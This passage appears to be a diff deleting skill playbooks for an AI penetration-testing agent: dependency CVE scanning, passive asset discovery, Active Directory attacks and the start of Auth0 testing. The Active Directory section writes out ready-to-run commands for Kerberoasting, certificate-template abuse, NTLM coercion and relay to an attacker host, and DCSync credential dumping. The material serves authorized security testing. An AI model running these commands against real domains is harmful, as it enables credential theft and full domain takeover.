2. Search public buckets for `*.json` service account keys and `terraform.tfstate`
3. Default compute SA email: `PROJECT_NUMBER-compute@developer.gserviceaccount.com`
4. Combine with `kubernetes` skill when target runs on GKE
5. Firebase-hosted apps often use GCP project underneath — pivot from web to GCP project ID in configs
## Summary
GCP security requires least-privilege IAM, no public data paths, tight metadata/scopes on compute, and protected service account keys. Enumerate from any credential or shell — even read-only GCS access often reveals escalation artifacts.
@@ -1,138 +0,0 @@
---
name: dependency-cve-scanning
description: Supply-chain / SCA playbook — scan repository lockfiles for known dependency CVEs and report them with create_dependency_report (no dynamic PoC required)
---
# Dependency / Supply-Chain CVE Scanning (SCA)
Use this skill on white-box / repository scans to make sure a repository pinning a
**known-vulnerable dependency** is actually reported as a finding, instead of being
discovered and then silently dropped because it cannot be dynamically exploited.
Known-CVE dependency findings are a first-class deliverable. Report each one with
the dedicated `create_dependency_report` tool.
## Why this skill exists
A vulnerable dependency pinned in a lockfile (e.g. `lodash@4.17.4` with a known
prototype-pollution CVE) usually cannot be dynamically PoC'd from the outside —
the vulnerable code path may not even be reachable from a running endpoint. The
normal "no report without a dynamic PoC" rule would suppress it. For these
findings the proof is the **lockfile entry + scanner output + published
advisory**, not an exploit script. This is the one explicit exception to the
dynamic-validation rule, and it exists only for `create_dependency_report`.
## Scan procedure
Run from the repo root and store output in the shared artifact directory used by
the source-aware pass:
```bash
ART=/workspace/.strix-source-aware
mkdir -p "$ART"
# Record the vuln DB age so a stale DB is a visible signal, not a silent clean scan.
trivy version --format json 2>/dev/null | tee "$ART/trivy-version.json"
# inspect .VulnerabilityDB.UpdatedAt / NextUpdate
# Lockfile/manifest -> known-CVE matching. Try a best-effort DB refresh first so a
# sandbox with egress gets the freshest CVEs; if the update fails, fall back to the
# cached DB instead of failing the scan. --offline-scan keeps per-package advisory
# lookups offline.
trivy fs --scanners vuln --timeout 30m --offline-scan \
--format json --output "$ART/trivy-sca.json" . \
|| trivy fs --scanners vuln --timeout 30m --offline-scan --skip-db-update \
--format json --output "$ART/trivy-sca.json" . \
|| true
```
If `.VulnerabilityDB.UpdatedAt` is more than a few weeks old (the sandbox had no
egress to refresh it), treat it as a scan limitation and note it in the
`assumptions` of dependency findings — a stale DB that still returns *some* results
will not trip the "zero results is suspicious" heuristic, so its age is the only
staleness signal.
Trivy reads the lockfiles/manifests it finds, including:
`package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `poetry.lock`,
`requirements.txt`, `Pipfile.lock`, `go.mod`/`go.sum`, `Gemfile.lock`,
`pom.xml`/`gradle.lockfile`, `Cargo.lock`, `composer.lock`, etc.
If trivy returns zero vulnerabilities on a repo with dependencies, treat it as
suspicious: confirm the vuln DB is present (`trivy-version.json`) and that
lockfiles exist.
## Interpreting results
For each entry under `.Results[].Vulnerabilities[]` in `trivy-sca.json`, collect:
- `VulnerabilityID` — the CVE (or GHSA; prefer the CVE if both are present)
- `PkgName` and `InstalledVersion` — the affected package + pinned version
- `FixedVersion` — the version that resolves it
- `Target` — the lockfile path it came from
- `.Results[].Type` (e.g. `npm`, `pip`, `gomod`, `pom`, `gemspec`, `cargo`) — the
package ecosystem; normalize to the registry name lowercased (`npm`, `pypi`,
`go`, `maven`, `rubygems`, `cargo`, `composer`, `nuget`, ...)
- `CVSS` — the published advisory base score
- `PrimaryURL` / references — to verify the advisory
Deduplicate by `(CVE, PkgName, InstalledVersion)`. File one
`create_dependency_report` per CVE — do not batch multiple CVEs into one report.
### Reachability is a confidence modifier, not a gate
Do NOT suppress or downgrade a known CVE just because you could not prove the
vulnerable code path is reachable. Report it, set `advisory_cvss` from the
advisory, and use `assumptions` to note reachability (e.g. "the vulnerable
`template()` API does not appear to be imported in application code, so practical
exploitability is uncertain"). If you *can* show reachability or chain it into a
dynamic exploit, do that and report it as a normal dynamic finding with
`create_vulnerability_report` instead.
## Reporting
Report each confirmed known CVE with the dedicated `create_dependency_report`
tool (NOT `create_vulnerability_report` — that tool is for dynamically validated
findings and rejects empty PoC fields):
- Set `cve` to the verified `CVE-YYYY-NNNNN` id (required). If you only have a
GHSA, look up the mapped CVE; if there is genuinely no CVE, do not report it
with this tool.
- There are no PoC fields — `create_dependency_report` does not take
`poc_description` / `poc_script_code` / `code_locations`. The proof lives in
`description` and `technical_analysis` (scanner output + advisory).
- **Always fill the structured dependency fields** (they power the dedicated
dependency-report card; do not leave them only in free-text):
- `package_name``PkgName` (required).
- `installed_version``InstalledVersion` (required).
- `package_ecosystem` — normalized ecosystem from `.Results[].Type` (lowercased,
e.g. `npm`, `pypi`, `go`, `maven`, `rubygems`, `cargo`) (required).
- `fixed_version``FixedVersion` (leave empty only if no fix is published).
- Reference the repo-relative `Target` lockfile path in `description` /
`technical_analysis` (no leading slash) so the finding is traceable.
- Put the concrete proof in `description` / `technical_analysis`: package name,
installed/affected version, fixed version, lockfile path, and the relevant
trivy output excerpt.
- **Always set `advisory_cvss` to the published advisory base score (0.010.0).**
Severity is derived *solely* from this number: read it off the advisory (`CVSS`
in trivy output, or the NVD/GHSA page) and pass the real value. The tool rejects
a call that omits it, because guessing a score both inflates low CVEs and
deflates critical ones.
- Set `cwe` to the most specific `CWE-NNN` when the advisory names one.
- Do NOT cap severity at LOW just because there is no dynamic reproduction — use
the advisory score.
- Use `assumptions` for reachability/exploitability caveats.
Verify the CVE with `web_search` when available before reporting. Never guess or
hallucinate a CVE id.
## Anti-patterns
- Do not report a dependency CVE with `create_vulnerability_report`; use
`create_dependency_report`.
- Do not report a finding without a verified CVE id.
- Do not batch multiple CVEs into one report.
- Do not omit `advisory_cvss` — the tool rejects it, and it is the single input
that determines dependency severity.
- Do not silently drop a known CVE because it lacks a dynamic PoC — that is the
exact failure this skill prevents.
- Do not downgrade advisory severity for lack of dynamic reproduction.
-5
View File
@@ -121,11 +121,6 @@ trivy fs --scanners vuln,misconfig --timeout 30m --offline-scan \
--format json --output /workspace/.strix-source-aware/trivy-fs.json . || true
```
Known-CVE dependency findings are the one exception to the "report only after
dynamic validation" rule below: report each one with `create_dependency_report`
(not `create_vulnerability_report`), setting `advisory_cvss` from the published
advisory. `load_skill(["dependency_cve_scanning"])` for the full SCA workflow.
## JavaScript-Side Coverage
For frontends and Node services, layer these on top of the language-agnostic
@@ -1,151 +0,0 @@
---
name: asset-discovery
description: Passive asset and attack-surface discovery via certificate transparency, TLS SAN pivoting, passive DNS, and ASN/IP enumeration to find hosts beyond subdomain brute force
---
# Asset Discovery
Most engagements start from a small seed (one domain, one org name) but the real attack surface is far larger: forgotten hosts, staging/internal-named services, acquisitions, and infrastructure that never appears in a wordlist. Build a broad, deduplicated inventory using passive intelligence — certificate transparency, TLS certificate metadata, passive DNS, and ASN/IP data — then collapse it into a probed, classified attack surface. The aim is coverage and pivoting: every certificate, DNS record, and IP is a lead to more assets.
Only use this skill when all subdomains and related assets of the target are in scope — broad discovery pulls in hosts far beyond the seed.
## Attack Surface
- Hosts discoverable via issued certificates (CT logs) but absent from DNS brute force
- Internal/staging/pre-prod hostnames leaked in certificate SAN lists
- Sibling and acquisition domains sharing certificates, ASNs, or IP ranges with the seed
- Wildcard and short-lived certs revealing naming conventions (`*.internal.example.com`, `k8s-*`, `argocd.*`)
- ASN-owned IP ranges hosting services with no DNS name at all
- Virtual hosts co-located on shared IPs (multiple apps behind one address)
- Non-HTTP services on discovered hosts (databases, brokers, admin ports)
## High-Value Sources
### Certificate Transparency (CT)
CT logs record nearly every publicly-trusted certificate. Query by domain (matches SAN/CN) and by organization name.
- **crt.sh** (free, no key):
- By domain incl. subdomains: `curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sed 's/^\*\.//' | sort -u`
- By organization: `https://crt.sh/?O=Example+Inc&output=json`
- **Censys / Shodan / Fofa** (API keys): search certs by `parsed.names`, `parsed.subject.organization`, or a specific `fingerprint_sha256`, then pivot to every host serving that cert.
- Cross-check multiple indexes (`certspotter`, Google CT, `chaos`) — no single log is complete.
- **Wildcards** (`*.corp.example.com`) reveal internal naming schemes even when individual hosts resolve privately; use them to seed targeted guesses (`grafana.corp`, `ci.corp`, `vault.corp`).
### TLS Certificate SAN/CN
- **SAN expansion**: one cert often lists many hostnames (marketing + api + admin + internal) — extract every SAN, not just the queried name.
- **Shared-cert pivot**: the same cert fingerprint served on multiple IPs ties disparate assets to one owner.
- **Issuer/org pivot**: certs sharing `subject.organization`/`organizationalUnit` frequently belong to the same target.
- **Active read** catches names never submitted to public CT: `echo | openssl s_client -connect HOST:443 -servername HOST 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'`
- **Internal leak signal**: SANs like `localhost`, `*.internal`, `*.svc.cluster.local`, `*.local`, or RFC1918-style names on a public cert expose internal naming and sometimes internal services fronted publicly.
### Passive DNS
- Forward-resolve every name (A/AAAA/CNAME); keep CNAME chains — they reveal third-party providers and CDNs.
- **Reverse DNS (PTR)** on discovered IPs surfaces co-located hostnames.
- **Historical/passive DNS** (SecurityTrails, VirusTotal, `chaos`, passivedns providers) recovers names that no longer resolve but may still front live infra.
### ASN & IP Ranges
- Map a known IP to its ASN and netblock: `whois -h whois.cymru.com " -v <IP>"` or a BGP/ASN lookup.
- If the org runs its own ASN, enumerate all announced prefixes and treat them as candidate assets.
- For cloud-hosted targets the IP belongs to the provider, not the org — pivot via cert/vhost instead of netblock.
## Recommended Tooling
Prefer the projectdiscovery suite (already available in the sandbox and pipeline-friendly with JSON output):
- **`subfinder`** — passive subdomain aggregation across many sources incl. CT: `subfinder -d example.com -all -recursive -silent -oJ -o subs.jsonl`
- **`tlsx`** — TLS/cert data at scale; grab SANs and issuer/org to pivot: `tlsx -l hosts.txt -san -cn -tls-version -json -o tls.jsonl`
- **`uncover`** — query Shodan/Censys/Fofa/Quake/crt.sh engines from one CLI: `uncover -q 'ssl:"Example Inc"' -e shodan,censys,fofa -json`
- **`asnmap`** — org/domain/ASN → CIDR ranges: `asnmap -d example.com -json` / `asnmap -org "Example Inc"`
- **`mapcidr`** — expand/aggregate CIDRs into host lists for probing: `mapcidr -cidr 192.0.2.0/24 -o hosts.txt`
- **`dnsx`** — fast resolution, PTR, and wildcard filtering: `dnsx -l names.txt -a -aaaa -cname -ptr -resp -json -o dns.jsonl`
- **`httpx`** — live probing + cert grab in one pass (see methodology).
- **`naabu`** — port sweep for non-HTTP services: `naabu -list hosts.txt -top-ports 100 -verify -silent`
Also useful: **`amass`** (`amass intel`/`enum` for ASN, cert, and passive sources), **`cero`** (bulk SAN extraction from IPs/ranges), and direct **crt.sh** JSON queries when no keys are configured. Cross-source results — CT + passive DNS + `subfinder` together beat any single source.
## Key Techniques
### Iterative Seed Expansion
Every new name, PTR result, CNAME target, and cert SAN becomes a fresh seed. Loop CT → SAN extraction → passive DNS → ASN/range expansion until the asset set stops growing.
### Cert-Fingerprint Pivoting
Search Censys/Shodan (or `uncover`) by a cert's `fingerprint_sha256` to find every other host presenting the same certificate — the strongest cross-asset link for tying acquisitions and shadow infra to the target.
### Naming-Convention Inference
Wildcard SANs and observed hostnames expose the org's naming scheme; generate targeted candidates from it (`<service>.<env>.example.com`) rather than blind brute force.
### IP-First Discovery
For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served certs (`tlsx`) to find services that have no DNS name at all.
## Advanced Techniques
- **Active SAN harvesting** across whole ranges with `tlsx`/`cero` recovers internal hostnames never logged to public CT.
- **Favicon and response hashing** (`httpx -favicon`, hash pivots in Shodan) clusters instances of the same app across unrelated hostnames.
- **Vhost differentials**: probe a single IP with multiple `Host:` values to unmask co-located apps behind one address.
- **Historical CT/DNS diffing** highlights recently issued certs and newly appearing hosts — high-signal for fresh or misconfigured deployments.
## Consolidation & Probing
1. **Dedupe** names and IPs into one inventory; record source(s) per asset for confidence.
2. **Live probe** with `httpx`, capturing status/title/tech/server and cert SANs in one pass — each grabbed SAN feeds back as a new seed:
`httpx -l hosts.txt -sc -title -server -td -tls-grab -json -o assets.jsonl`
3. **Classify** assets by function from title/tech/path signals: app, API, marketing, auth, CI/CD, observability, storage, admin, VCS, mail. Cluster by role, not by a specific product.
4. **Port sweep** interesting hosts with `naabu` for non-HTTP services (DBs, caches, brokers, mgmt ports).
5. **Prioritize** by exposure and value, then hand each finding to the right specialist skill:
- Exposed dashboards / debug / observability / metadata leaks → `information_disclosure`
- Login/admin panels with default or weak creds → `weak_password_detection`
- Dangling DNS / unclaimed provider resources → `subdomain_takeover`
- Cloud consoles/metadata surfaces → `aws` / `gcp` / `kubernetes`
## Testing Methodology
1. **Seed** - domains, org/legal names, known IPs, email domains, code-host org
2. **Certificate transparency** - pull all logged certs per seed domain and org name (crt.sh, `uncover`)
3. **SAN/CN extraction** - parse every Subject CN and SAN with `tlsx`; each new name is a new seed
4. **Passive DNS** - resolve forward and reverse with `dnsx`; harvest historical records
5. **ASN/IP mapping** - `asnmap``mapcidr` to expand owned ranges, then sweep for live hosts
6. **Active TLS pivot** - `tlsx`/`cero` on live IPs/ports to grab SANs missing from public CT
7. **Consolidate & probe** - dedupe, `httpx` probe, classify, and route to specialists
## Validation
1. Confirm each discovered asset actually resolves and serves content (live `httpx` result, not just a passive hit)
2. Attribute assets to the target via matching cert org, shared cert fingerprint, or DNS under a seed domain
3. Deduplicate vhost aliases and CDN edges down to distinct origins so the surface is not inflated
4. Record provenance (which source produced each asset) for reproducibility
## False Positives
- CDN/edge hostnames and provider default names that are not org-owned
- Shared-hosting neighbors on the same IP (vhost co-tenancy, not the target's asset)
- Stale historical DNS entries pointing at reassigned infrastructure
- Wildcard-cert-implied hostnames that never actually resolve or serve content
## Impact
- Expanded attack surface: forgotten, staging, and internal-named hosts brute force misses
- Discovery of misconfigured or unauthenticated services fronted by leaked internal hostnames
- Attribution of shadow infra, acquisitions, and sibling domains to the target
- A prioritized, classified inventory that feeds every downstream specialist skill
## Pro Tips
1. Loop the pipeline — every SAN, PTR, and CNAME target is a new seed until the set converges.
2. crt.sh is the cheapest high-yield source (no key); Censys/Shodan via `uncover` add cert-fingerprint and vhost pivoting when keys exist.
3. Always cert-grab live hosts with `tlsx` — active SANs catch internal hostnames never sent to public CT.
4. Internal-looking SANs (`*.internal`, `*.svc.cluster.local`, staging names) are the highest-signal leads.
5. Wildcard SANs reveal naming conventions — seed targeted guesses instead of blind brute force.
6. Cluster by function, not product name, so the workflow generalizes to any exposed service.
7. Keep JSON output throughout so stages chain cleanly (`subfinder``dnsx``httpx``naabu`).
## Summary
Broad passive discovery — CT + TLS SAN pivoting + passive DNS + ASN/IP mapping, looped until convergence — finds the assets brute force misses, especially internal-named and forgotten services leaked through certificates. Build the inventory with the projectdiscovery suite, probe and classify it generically, then route each interesting asset to the specialist skill for its class.
@@ -1,233 +0,0 @@
---
name: active_directory
description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
---
# Active Directory
Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
## Attack Surface
**Core services (per domain controller)**
- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
**Principals & objects**
- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
**Trust boundaries**
- Intra-forest (parent/child), inter-forest, external, SID history
- `MachineAccountQuota` (default 10 → any user can join computer accounts)
## Reconnaissance
**Anonymous / pre-auth (no creds)**
```
# Domain + naming context from LDAP rootDSE
nmap -Pn -p 389 --script ldap-rootdse <DC>
# SMB null session / signing / OS
nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
enum4linux-ng -A <DC>
# Username-less user enum via Kerberos pre-auth
kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
```
**Authenticated enumeration (any valid user)**
```
nxc ldap <DC> -u <USER> -p <PASS> # confirm creds + domain info
nxc smb <SUBNET> -u <USER> -p <PASS> --shares # readable/writable shares
nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
```
**BloodHound graph (the single most valuable step)**
```
bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
# or, remote SharpHound-equivalent collector:
nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
```
Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
## Key Vulnerabilities
### Kerberos Roasting
**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
```
nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
# or impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
hashcat -m 13100 kerb.txt wordlist.txt
```
**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
```
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
hashcat -m 18200 asrep.txt wordlist.txt
```
**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
### Delegation Abuse
- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
```
# RBCD chain
addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
```
### AD Certificate Services (ESC1-ESC17)
AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
```
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
```
- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
```
certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT hash / TGT
```
- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
### NTLM Coercion & Relay
Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
```
# 1. Start the relay (LDAP → RBCD, or AD CS → cert)
ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 2. Coerce a target to authenticate
coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR
printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN
```
LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
### DACL / Object Abuse
From BloodHound edges:
- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
- **ForceChangePassword** → reset a target's password.
- **AddMember** on a privileged group → self-add.
- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
```
# Shadow Credentials (no password reset needed, stealthier)
certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
# bloodyAD for generic DACL edits
bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
```
### Credential Access & Domain Dominance
- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
```
secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
nxc smb <DC> -u <USER> -p <PASS> --ntds # full NTDS.dit
```
- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
### Known unauthenticated CVEs (patch-dependent)
- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
Confirm with a version/patch check before firing — these are destructive.
## Advanced Techniques
- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
- **SID history injection** across trusts for cross-domain/forest escalation.
- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
## Testing Methodology
1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
4. **AD CS sweep**`certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
## Validation
1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
## False Positives
- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
- Delegation flags present but the account is disabled or the target SPN is unreachable.
- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
- "Writable" share that only exposes a redirected/quarantined path with no useful content.
## Impact
- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
- Lateral movement to every domain-joined host (file servers, databases, hypervisors).
- Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
## Pro Tips
1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
## Tooling
**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
```
# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
pipx install impacket
pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials
pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE ingestor)
pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
pipx install bloodyAD # DACL / LDAP object edits over LDAP
pipx install ldapdomaindump # LDAP dumper (bloodhound.py author)
go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — user enum / pre-auth brute
# Kali apt packages
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
```
- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
## Summary
AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.
-188
View File
@@ -1,188 +0,0 @@
---
name: auth0
description: Auth0 tenant security testing covering misconfigured rules/actions, scope escalation, MFA bypass, and cross-application token confusion
---
# Auth0
Auth0 misconfigurations enable account takeover, cross-tenant data access, and privilege escalation through Rules/Actions, loose application settings, weak API authorization, and token acceptance bugs in consuming applications. Test both the Auth0 tenant configuration and how downstream APIs validate Auth0-issued tokens.
## Attack Surface
**Auth0 Components**
- Applications: SPA, Regular Web, Native, Machine-to-Machine (M2M)
- APIs (Resource Servers): identifiers, scopes, RBAC, permissions
- Connections: database, social, enterprise (SAML/OIDC)
- Rules (legacy) and Actions (post-login, pre-user-registration, credentials exchange)
- Organizations (multi-tenant B2B), roles, permissions
- Universal Login, custom domains, custom database scripts
**Token Types**
- ID Token (OIDC), Access Token (JWT or opaque), Refresh Token
- Management API tokens, client credentials tokens (M2M)
- PAR, PKCE flows for public clients
**Management**
- Auth0 Management API (`/api/v2/`)
- Tenant settings, attack protection, MFA policies, anomaly detection
- Logs streaming, hooks, custom prompts
## Reconnaissance
**Tenant Discovery**
```
# From app config, JS bundles, mobile apps
domain: tenant.us.auth0.com / tenant.eu.auth0.com / login.customdomain.com
client_id, audience, scope values in authorize URLs
```
**OIDC Discovery**
```
GET https://TENANT.auth0.com/.well-known/openid-configuration
GET https://TENANT.auth0.com/.well-known/jwks.json
```
**Authenticated Userinfo** (requires bearer access token — unauthenticated requests return 401)
```
GET https://TENANT.auth0.com/userinfo
Authorization: Bearer <access_token>
```
**Application Fingerprint**
- Login redirect to `https://TENANT.auth0.com/authorize?client_id=...`
- `auth0-js`, `@auth0/auth0-spa-js`, `auth0-react` in frontend bundles
- API `audience` parameter in token requests
**Management API Exposure**
- Leaked M2M credentials with `read:users`, `update:users`, `create:users` scopes
